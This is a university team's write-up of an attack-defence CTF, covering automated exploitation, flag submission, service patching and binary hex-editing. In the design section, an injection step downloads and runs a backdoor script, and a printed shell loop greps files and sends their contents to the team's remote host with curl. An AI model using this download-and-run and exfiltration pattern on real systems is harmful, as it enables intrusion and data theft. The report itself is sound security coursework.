TEAM CODE YO LOCO

AN APPROACH TO CTF AUTOMATION
PCTF REPORT

May 2, 2017

Laurence Chang, James Hutchins, Deepak Krishnan, Mohit Mulchandani
Vishnu Radja, Suraj Shah, Josh Smith

Arizona State University
CSE 545

Contents

Abstract

Our goal as team Code Yo Loco was to design an automated Python tool suite that would assist the team in both spectrums of attack and defense during the CSE 545 CTF. Our attack plan included identifying and exploiting at least one buffer overflow vulnerability, injecting shellcode which installs a malicious backdoor "flag monitor" on the victim machine, and stealing the flags directly from the file system. In addition, we used the example servers to develop additional tools that automated the collection of the flags. The correct flags will be part of the body section of a constructed HTTP packet sent to our host, in which another automated script will directly submit the flags to the master server.

Introduction

A real time CTF requires the automation of working tools for the exploitation of services, defensive actions, and collection and submission of flags. This realization led to our efforts of attempting to minimize the amount of manual work required by the team members themselves, while ensuring most of the work load was automated by the various tools that were constructed.

The tools developed not only served as standalone methods of automating needed functions such as server login, flag submissions, and execution of exploits, but also served as modules that we could further build on top of to develop other tools. Due to the unknown nature of what the actual game-server will be like at the time of competition, we design our system with a couple of assumptions using the test-server as a base and foundation to work with.

Exploring the example CTF server, we found several key components that influenced the design of our project. First, the team's server ran three services, `sample.c`, `sample.py`, and `sample.web`, that we know are monitored by a "master" game server, running the Scriptbot and Gamebot, that check to see if the application is available and running or not. Bringing a service offline would result in the loss of points so this aspect of the game was something we had to consider in order to keep the availability of our services up. Another aspect of the CTF server we took into account was the interval of the ticks, or three minute rounds, that the server ran on. This observation was very important as this implied several consequences:

1. The value of the flags in respect to their services change after every tick.

2. Resubmission of the new flags are required.
3. Opponent services may be patched, possibly increases the security of the application.

Therefore our approach in regards to the list above involves a focus on exploiting the vulnerabilities as soon as possible, and then through the initial exploitation, we are able to deploy a long term solution to automate the collection and submission of the victim's flags.

In this report, we will cover our overall design including details of how each tool in our framework operates and the services they provide a CTF team. We follow up with explanations of how we developed our framework and reporting the justifications behind why these tools were built and the goal of what these tools are to achieve. We also justify the assumptions taken into account when developing the framework. We transition into the results we have achieved while also documenting some of the problems we had encountered or foresaw regarding our tools in relation to the actual competition. Finally we discuss the impact of our developments, tools, and observations in our conclusion.

Design and Implementation

Our design makes the following assumptions about the structure of the competition servers:

1. There will be at **least** one buffer overflow or OS code injection vulnerability that allows us to inject the shell code comprising the following commands:
   - `wget <serverURI>` - This allows us to install the malicious backdoor on the victim machine
   - `./backdoor.sh` - This allows us to immediately begin running the script after installation
2. Flags will be stored, read, and written to the following directory:

   ```
   /opt/ctf/<some_game_service>/rw/
   ```

   Note that we also assume that all game servers will operate similarly to each other.
3. The existing services on the example server will also be present on the live server.
   The current services on the example server can be automated through a tool we construct. Furthermore, if the new services added on the live CTF server are similar to

the existing services, in terms of vulnerability and input, our tools should be easily configurable to also exploit the new services.

We first define our offensive approach. Using the iCTF library provided, we built on top of the existing functions to create custom scripts that automated many tasks that gave us an advantage such as auto exploiting services and auto submitting flags. One major goal of our attack strategy was to develop a method to steal flags directly from the victim file system. This can be achieved using either a buffer overflow or OS code injection attack that will trigger a chain of events, beginning with the injection of a piece of shellcode. This shellcode will contain instructions to install a malicious backdoor program (binary format) on their machine and will also run the installed binary. The result would ideally be the stealing of flags directly from the file system and sending it back to our server which would also double as an automatic service to submit the flags received. This component of our strategy which we dub "the backdoor flag monitor" consists of two separate parts, the server and the flag monitoring program, that coordinate with each other achieve the goal of "direct" flag stealing.

The server code, named `"server.py"`, at a high level works as a basic REST API, and provides three functions. First, it serves the shellcode request for the `backdoor.sh` script, which in turn triggers the execution of the script on the victim machine. Second, it listens on a specific port and parses HTTP GET requests of the form

$$<host>:<port>/flag_1/flag_2/\ldots/flag_n$$

where n is the number of flags written to by the master server during every three minute interval. Third, after parsing the flags contained in the URI of the GET request, the server compiles them into an array and submits them to the master server. Importantly, note that not all flags received may be valid. For some unknown, reason, we discovered that the game server periodically writes invalid flags to the server (perhaps to test that it is up). Thus, for each correct flag, there may be several incorrect flags. Initial attempts at scraping flags from the file system failed because we only grabbed the most recent flag. In the final implementation, all flags written in the last 3 minutes are submitted, ensuring that the correct flag is submitted. And since there is no penalty for submitting invalid flags, this approach is satisfactory. The code for the flag monitoring program can be found in `"backdoor.sh"`.

As mentioned, the malicious `backdoor.sh` works only if assumptions **(1)** or **(2)** apply. The program, placed on the victim server, was designed with the knowledge that we've acquired exploring our own server and operates by periodically (every 3 minutes) executing the code

```
for SVC in $(find /opt/ctf/ -name rw -type d);
do
    FLAGS=$(find $SVC -type f -cmin -3 -exec grep -o 'FLG[[:alnum:]]{13}
            {} \; | paste -sd '/')
    curl "$HOST:$PORT/$FLAGS"
    sleep 3m
done
```

which constructs a list of flags from the most recently created files found within existing `/opt/ctf/*/rw` directories. The reason why we read a set of files as opposed to simply storing the most recently touched file was due to some unexplained behaviors by the game server. What had occurred previously was that for an unknown reason, multiple files of a single service would be updated, and because of this behavior, there was no known solution that we had that could pinpoint the correct file to use. Instead we opted to go towards a brute force method described previously. After obtaining the set of the most recently updated files within the past three minutes, the script uses curl to make an HTTP GET request with all the flags in the URI path, each separated by '/'. Once sent, the packet is ideally processed by the server script.

Our initial approach to defensive automation was focused on the network standpoint. We had originally planned to design a tool that would lie between the services and the network, similar to a mix between a proxy and firewall. We had planned to use this tool to intercept inputs and payloads before forwarding them into the application, monitor traffic and report those that were suspicious. However after several discussions were had and more research on the game server was done, it was decided this was infeasible. The way in which the network was set up, namely, the enabling of NAT prevented us from continuing with this project. NAT, or Network Address Translation made it extremely difficult to differentiate the source and destination of requests and responses. We decide to switch gears and focus on patching the services directly rather than prevent outside data from reaching it.

Before we could patch any of the files we needed to be have the ability to restore them in case we brought down the service. We also needed required the ability to edit a file and test it before we deployed the patch. To accomplish this, we wrote a `backup.py` script that could be run from the command line or by other Python scripts. This script automatically made two back ups. One named `<name>_backup` that was to not be changed and one named `<name>_patched` that was meant to be changed. If the option was specified, it also would execute the command `chown` so the service would not be down when it switched to the patched file. Depending on which language the service was coded in, or the format of the program, we had different approaches to patch them.

In regards to C services, the patching team made finding potential buffer overflow vulnerabilities and code injections a priority. If we were patching a C file given the source code, we could patch it quickly by changing the code itself by replacing known vulnerable functions with safer ones, escaping all strings to make them "shell safe", and many other kinds of fixes before recompiling. Certain procedures could be automated such as automatically backing up the file as mentioned, but then piping the file through `objdump` automatically to save time. The example server did not have a non-binary C file, but the game day server did.

One of the vulnerabilities in the example server was coded in Python. The first was a vulnerability that given a hidden input "X" and following it up with a input of the flag id, would retrieve the flag for you. The second example Python service was implemented in the server example and was named `secret.cgi`. Passing `<url>/secret.cgi?note_id=<flag_id>` into the program would return the flag. Both of these could be patched by deleting the function call to the vulnerable function. Due to the readability of Python the method of patching it was easy.

To patch the binary files, we first had to know what was wrong with them. To figure this out we used `objdump` to get the assembly and .rodata. We first looked at the .rodata to see if there was anything easily identifiable as input for a vulnerability. Then we used a tool that gave us a view of the C files logic (where if statements were). Once we identified a vulnerability, we were able to use the `objdump` to identify what hex needed to be changed in the elf file. Then we opened the elf file using vim. We used the command `:%!xxd` to convert the elf to readable hex, changed the hex we had identified in the `objdump`, and used `:%!xxd -r` to convert it back to an ELF file. We successfully did this on the test server.

GAME DAY IMPLEMENTATION

The team assumed that the game day server would be similar to the example servers that were set up. This meant that the we could automate those vulnerabilities for the game day and get points very quickly. The team also knew not everything would be exactly the same, so the scripts that utilized configuration files were created so that a single change could be made and affect all the relating files.

A `exploit_and_submit` script was made to run as a `cronjob` every minute. This script uses ConfigParser to parse data from the `config` file provided, which contains information such as the number of services and vulnerabilities. Activated services are placed in a dictionary structure at the top of the script which define which ones to exploit. By default, service3 is for web because it needs a different configuration of commands to be executed to be exploited, In the current submission we have, service4 was added with the goal of automating the backdoor deployment by exploiting the service `backup_c.c`, which we knew contained a command injection vulnerability. This script replaces keywords like <port>, and <hostname> among others, and automatically opens up a connection with the enemy teams. Exploits are then automatically performed by the script and the acquired flags are trimmed and submitted independently for each active service. The flags and successful/unsuccessful attempts are then logged into 2 files text files with a time stamp appended at the end.
The entire source code of all the tools used are hosted on Github at `https://github.com/theskullcrusher/codeyoloco` in a private repository with Professor Adam Doupé added as a collaborator. A Python library with basic setup and requirements files were made available such that additional necessities could be installed into the system as a library whose functions could be imported in an interactive Python (iPython) shell. From there, aggregating the iCTF module's smaller functions into frequently used bigger modules were made possible. A `setup_environment.sh` script is included to setup powerful shells, virtual environment, git, and other required tools to speed up server configurations by the time of first login. The automation scripts and supporting functions are inside /codeyoloco directory. You will find the `login`, `config` and `exploit_and_submit` Python files here. Running `login.py` after setting the `config` to the needed values will generate `root_ssh.sh` and `ctf_ssh.sh` that allow for rapid login to our game server. Please refer the various `readme`'s available in the Github for more details on installation and example code snippets on it's use.

RESULTS

We ranked 3rd overall at the end of the CTF, but we think we could have for sure done better. Our automation actually helped us not waste time on flag capturing and submission once the vulnerability was detected but we focused a little bit more on patching the services rather than everyone focusing on finding and exploiting more. This slowed us down, along with the issues that we faced in patching the services that put them down, resulting in additional loss points. Our key weapon was the backdoor service and we successfully broke into a couple of machines to install the backdoor there too. One thing we failed to do is directory traversal across all services to get flags, which could have helped us get 1000 points every round for the unexploited c service. But, unfortunately we faced some issues with flags being pushed out of the vulnerable system, which was not anticipated and that resulted in this attempt not succeeding. Even then, we are pretty proud of pursuing this approach which would have been a one-for-all solution for the CTF Game. Our automation tool working out with minimal effort ensured us the 3rd position even after we had a lot of downtime on our own services.

Future Improvements

We made a pretty good overall effort considering our approach, the difficulties we faced and the assumptions we had to make. Having a better idea now, we do have a few improvements that could be worked upon:

1. Establishing a better method of communication between teammates would have made dividing up teamwork more efficient. Communication between members of the team oftentimes was chaotic and unorganized in our competitive atmosphere, especially when our services began going down. Instead of frantically calling teammates over, next time we know to have a more robust monitoring system (perhaps automated logs) that will aid in notifying us when our services are down, and to immediately patch them without having to call out to the patching team.

2. After verifying that our proof of concept backdoor flag stealer was indeed viable, plenty more could be added to improve it. One of the most important things we could have improved on was making the tool more configurable. One of the earlier troubles we had installing the backdoor on other machines was the fact that we needed to manually reconfigure many of the variables such as file path and IP addresses among others. If we could dynamically change those settings in real time, the deployment time could have been halved.

3. Rather than giving up on our previous "sniffer" idea, a separate team could have continued working on it as a secondary project. Having the ability to monitor our own network have been extremely beneficial for defensive reasons. By being able to check incoming and outgoing packets and inspecting their payloads, our defense team would have an easier time patching services as the insights of knowing what

kind of vulnerabilities other teams are trying to exploit give us clues as to where the vulnerabilities are in the services attacked.

CONCLUSION

Ultimately, this CTF was both an enjoyable and intellectually stimulating exercise. When choosing a direction for our project, we explored many different possibilities before finally settling on our final design. These ideas included a local reflector to filter malicious traffic, a network sniffer on opposing team servers, and other similar variations. Trying all these gave us a good feel for which types of attacks are feasible and which are not, and these lessons inspired our final design - an automated exploit tool coupled with a remote backdoor.
Trying to make our project work in the real competition proved to be very exciting. Of course, the things did not work quite as well as we had hoped, but we learned a lot from it. The file system was structured differently than on the practice server, which initially made the back-door fail. Moreover, the patching team accidentally shut down our services for a short period, resulting in the loss of points. Overall, though, the project was a success. The automated submission tool worked nearly to perfection, we were able to patch two of our services fairly quickly, and the backdoor was able to be run in the end (though at that point most opposing team servers had been patched). Of these, the most satisfying success was that the backdoor service did indeed prove to be a viable attack. This was always a question in our mind, as we were sort of coding blind, without a solid idea of how things would look on the real server.

Most important to us personally, we managed to organize a group of seven people in a very high-pressure environment to work together and place 3rd overall. As this was the first time most of us had ever participated in a CTF, this was a very proud moment, and we are quite satisfied with the achievement. We are confident that the knowledge and experience gained through this project will be valuable as many of us go on to pursue careers in security.